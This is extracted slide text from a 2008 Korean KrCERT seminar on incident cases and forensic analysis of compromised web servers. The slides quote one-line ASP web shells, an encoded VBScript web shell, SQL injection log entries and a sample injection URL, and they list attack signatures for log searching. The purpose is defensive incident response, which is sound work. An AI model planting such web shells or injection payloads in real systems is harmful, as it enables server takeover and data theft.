최신사고사례및침해시스템분석 2008 년웹어플리케이션보안세미나 2008. 4. 22. 해킹대응팀 전은국연구원
목 차 I 개요 II 동향및사고사례 III 사고분석기법 IV 맺음말 2
개 요 사고동향은? 동향은? 사고동향은? 사고분석 사고분석절차및과정 KISC 란? KISC 소개 3
최근사고분석사례 Ⅰ 2xx.xxx.xx.xxxxx http - SYN_SENT 크래커 Forchxxx.xxxxx.com (xxx.xxx.xx.xx) xxx.xx.xxx.xx http(syn_sent) http - SYN_SENTSENT Req:Bad Request 7 관리자계정정보등키로깅데이터유출 1 제로보드게시판취약점이용하여 A 웹쉘업로드 (12/28) 일반교회홈페이지 2xx.xxx.xx.xx 대역스위치 2 ARP 스푸핑이용 IP 변조후공격 (12/30) C사 5웹쉘접근홈페이지메인 / 광고사이트 Web Serv. Web Serv. Windows Server 2003 B 사홈페이지내부프로그램구동 Web01 Web02 Web03 Web04 검색 MIS SMS/Mail MGT 3 내부서버들의관리자계정패스워드유출됨 Windows Server 2003 6IP 전달 WAS Serv. solaris 5.9 App Serv. DB Serv. AIX DB Serv. 4
최근사고분석사례 Ⅱ I P 도용 취약한시스템장악망내 PC 스캔 hbs.exe 172.xx.xx.1 - /b 사용하지않는 IP를이용해다른취약서버접근 우리는아냐 ~!! 그럴리가없어!! W 교회홈페이지 172.xxx.xx.xx 대역스위치 ARP 스푸핑 IP 변조후공격 Web Serv. 5
최근사고분석사례 Ⅲ 스크립트남용 외부의 PC 와하나라도연결이되어있다면그것은해커의통로!! 내부시스템에서패스워드를텍스트로기록하는건해커에게식탁을차려주는것!! 6
최근사고분석사례 Ⅳ Webbased Botnet 우리홈페이지조횟수가엄청늘었어 ~~!! 크래커가조작한웹페이지 크래커의정보입수나명령하달페이지로악용 B 사 Windows\Temp 7
사례를통해본사고분석기법 8
사고분석시주요체크포인트 진정한 IT 강국!! 사고분석 = 자사의해킹사고대응 9
사고분석시주요체크포인트 WHO? 로그분석을통한공격자추적중국발해킹이대부분을차지봇설치를위한미국등기타피싱이나스팸을위해국내공격자등장 WHEN? 로그분석을통한로그 MAC 타임추적 ( 악성코드추적 ) WHAT? HOW? WHY? 설치된악성코드분석피해시스템에서발생하는트래픽조사시스템로그분석 ( 웹로그, 명령어, 이벤트, 추가된계정등 ) 시스템취약점점검동일망내행위분석 10
웹서버구조파악 시작 -> 실행 -> compmgmt.msc 3. 2. 1. 로그위치확인홈디렉터리위치및권한확인운영되는홈페이지들확인 11
웹서버로그점검 변조된페이지및악성코드파일명으로검색 로그점검 침입확인이전날짜로그부터점검 공격시그니쳐로점검 - SQL Injection ( = =,char, cmd.exe, create, ;, -- 등 ) - 파일업로드 / 다운로드 (../../db_con.inc ) - >> 명령어실행결과저장등 2006-08-25 02:35:04 xxx.xxx.xxx.xx - xxx.xxx.x.xx 80 GET /main/bc.asp big_name= 기획상품 %20and%20user%2Bchar(124)=0 200 Microsoft+URL+Control+-+6.00.8862 2006-08-25 02:35:06 xxx.xxx.xxx.xx - xxx.xxx.x.xx 80 GET /main/bc.asp big_name= 기획상품 '%20and%20user%2Bchar(124)=0%20and%20''=' 60 80040e07 [Microsoft][ODBC = 60 80040e07 [Microsoft][ODBC_SQL_Server_Driver][SQL_Server]nvarchar_ Server Driver][SQL Server]nvarchar 값 _'dbo ' 을 ( 를 )_int_ 데이터 _ 형식의 _ 열로 _ 변환하는 _ 중 _ 구문 _ 오류가 _ 발생했습니다. 500 Microsoft+URL+Control+-+6.00.8862 NBSI 자동화도구공격방법및로그 2006-08-25 02:35:07 xxx.xxx.xxx.xx - xxx.xxx.x.xx 80 GET /main/bc.asp big_name= 기획상품 '%20And%20system_user%2Bchar(124)=0%20And%20''=' 60 80040e07 [Microsoft][ODBC_SQL_Server_Driver][SQL_Server]n varchar_ 값 _sa 'sa ' 을 ( 를 )_int_ 데이터 _ 형식의 _ 열로 _ 변환하는 _ 중 _ 구문 _ 오류가 _ 발생했습니다. 12
시그니쳐기반공격자행위분석 grep [Options] PATTERN [FILE...] options : -r => 하위디렉토리까지검사 -f FILE => FILE 내의모든시그니쳐탐지 13
Wgrep 시그니쳐기반공격자행위분석 14
웹 쉘 디렉토리 (FSO) Programe 목록루트목록 C:\\... 시작-program목록 pcanywhere Serv-U(1) Serv-U(2) Temp(2003) Config/SAM(2000).... 바탕화면아이콘 PHP 목록 Perl 목록 Mysql 목록새디렉토리로컬 (A:) 로컬 (c: ).. DB관련 --------- DB 연결 MDB파일만들기 MDB파일압축하기 서버시스템정보 ------------ 컴포넌트지원 User 그룹 & 서비스시스템관리자 ID 3389정보실행할 COD 명령파일업로드 Txt파일만들기 FSO,WSH 파일쓰기폴드압축-압축풀기 실용도구의응용 -------------- WEB 서버대역 MD5 패스워드쿼리온라인도구 -------------- 대량유포 (super 버전 ) 지정위치에유포대량악성코드제거 ( 슈퍼버전 ) 파일찾기 트로이잔대량유포 ( 일반버전 ) -------------- Servu 권한획득 ( 슈퍼버전 ) Servu 권한획득 + FTP 사용자 wmi 원격실행명령.NETWORK object 권한획득 -------------------- HTTP 파일다운로드포트스케너레지스트리데이터읽기 15
웹 쉘 웹쉘은? 최근웹쉘경향 <%eval request("l")%> <%execute request("value")%> 웹서버에지속적인통제를위해생성하는웹페이지대부분의웹서버피해시스템에존재 - 파일업로드, SQL 인젝션을통한 DB에 Insert 기능 : 시스템명령어실행, 파일업로드, 모든파일열람가능 DB 접근.cer,.inc,.asa 등웹쉘존재 패스워드설정 인코딩 (VBScript.Encode ) 시그니쳐탐지우회기법 [ 문자열분할 ] 한줄짜리웹쉘 정상웹페이지에웹쉘포함 <%@ LANGUAGE = VBScript.Encode %> <%#@~^YFIBAA==@#@&B7}wDkW PAaw^k^kD@#@&@#@&dfbhPkKksnSPm/anCY4S,wCo Hls+@#@&@#@&ddPb:nP{~:kh D@#@&dalTn1m:nP{P]n$E+kO`rwlTnHls+r#@#@&7CkwK ld4p{p]navl^nv?nd7nmr\mwhly4`r J*P'Pr- =0+RYs2JBPJ'wE~,J'JbPvv @#@&7@#@&7ZKxdO,:Px~rCeKK2y!T+ < 중략 > <script language="vbscript" runat="server"> If Request("1234")<>"" Then Session("lcxMarcos")=Request("1234") If Session("lcxMarcos")<>"" Then Execute(Session("lcxMarcos")) </script> 16
웹쉘탐지 웹쉘탐지 grep을이용하여접속하는웹쉘추정페이지탐지 - 중국 IP, POST 값에의한로그정보 - -f 를이용한시그니쳐기반탐지 WSFinder 이용하여탐지 17
DB 점검 DB 점검 웹, DB 서버의의존적관계웹서버 DB에생성된테이블은없는지? - SQL Injection 도구에의해침입을받았을경우 T_jiaozhu, jiaozhu, comd_list, xiaopan, D99_Tmp등최근에생성된테이블, DB 계정점검 SA 계정에대한취약한패스워드사용 http://localhost/goods/eventmall.asp?num=77;%20create%20table%20[dbo].[hack520]([cmd]%20[image])-- p [ ]([ ] [ g ]) 18
최근현장에서발견된악성코드유형 dbzuhk.dll mcmrrc.dll eclxtx.dll svchost.exe 서비스에의해해당 Dll 로딩 특정웹페이지로부터 IP 정보수신 C:\Windows\TEMP\####.exe 파일에씀 nsfl.dll nfl.dll explorer.exe 를기반으로한모든프로세스에 인젝션되어 %system32%\dllcache\keylog 에 모든키보드입력을파일에저장하는키로거 19
최근현장에서발견된악성코드유형 kdsvc.dll winlogon.exe 에인젝션되어실행됨 특정문자열전송및메일로전송 방화벽정책을우회하기위한레지스터변경 winsshr.exe 서비스등록및기존드바이스드라이버파일변경 xxx.xxx.xx port 65520포트로 irc 연결특정프로그램종료 20
ProcessExplorer, 악성코드찾기 4. 버전, 설명, 공급자확인 1. 패킹 Highlighting 확인 3. 실행위치확인 2. 패킹, 수상한이름확인 21
TCPView, 네트워크연결모니터링 정상 svchost 악성 svchost 백도어포트확인 C:\>telnet 127.0.0.1 32567 접속확인 22
Autoruns, 시스템설정 / 서비스점검 설명이영문이며서비스명이흔치않음 C:\RECYCLER 에위치한백도어프로그램 23
사용자히스토리점검 사용자계정확인 - net user, 관리도구 -> 컴퓨터관리 History 사용자임시파일들확인하여피해경로파악 임시인터넷객체 %SystemRoot%Downloaded ProgramFiles 임시인터넷파일 %USERPROFILE%Local Settings\Temporary Internet Files 열어본페이지 %USERPROFILE%Local Settings\History 임시쿠키파일 %USERPROFILE%Local Settings\COOKIES 악성코드다운로드 24
사용자히스토리점검 25
루트킷 (RootKit) 루트킷이란? 운영체제의커널단에접근권한상승프로세스숨기기파일숨기기레지스트리, 서비스등 루트킷 유형 User-mode rootkit API 함수 Inline patche (6 바이트수정 ) Import Address Table 수정 DLL Injection 기법으로후킹 Kernel-mode rootkit SSDT Hooking IDT Hooking IRP Function Table Hooking 26
루트킷탐지 루트킷?? 다른유형탐지가안되어난감할때.. 시스템프로세스 (PID 0) 가외부와통신할때.. 루트킷으로숨겨진프로세스 루트킷이등록된서비스 27
루트킷탐지 rkd3 UNIX 루트킷 rkhunter : http://rkhunter.sourceforge.net chkrootkit : http://www.chkrootkit.org/ 28
기타피해분석툴 Filemon : 동적파일접근프로세스를보여줌 Regmon : 동적레지스터접근프로세스를보여줌 기타 RegScanner : 여러가지기준으로레지스트리값검색 Ethereal/wireShark/tcpdump/wildPackets : 네트워크패킷캡쳐 Sniffit_hit : Botnet, 웹접속현황탐지 29
맺음말 30
KrCERT/CC KOREA Computer Emergency Response Team Coordination Center Korea CERT KrCERT/CC 31
Korea Internet Security Center 인터넷침해사고대응지원센터 KISC 란? 범국가적인터넷침해사고상시대응을통한 침해사고예방및피해최소화 32
KrCERT/CC 에서는.. 악성봇 C&C 대응 BOT HERDER Bot C&C Monitoring KISA Alarm Victim Bot Infected PCs Attack 33
KrCERT/CC 에서는.. http://www.krcert.or.kr/index.jsp, 02-405-5091~4 - 보안뉴스및정보 ( 보안공지, 기술문서, 사고노트 ) 공지 - 각종보안도구및관리툴개발 / 게시 - 매월 인터넷침해사고동향및분석월보 발간 - 해킹사고및 PC 원격점검서비스 - 중소기업대상으로실시하는웹취약점유형별점검서비스 -공개웹방화벽기술지원 34
You Need a CHECK!!! ekchun@kisa.or.kr kr 35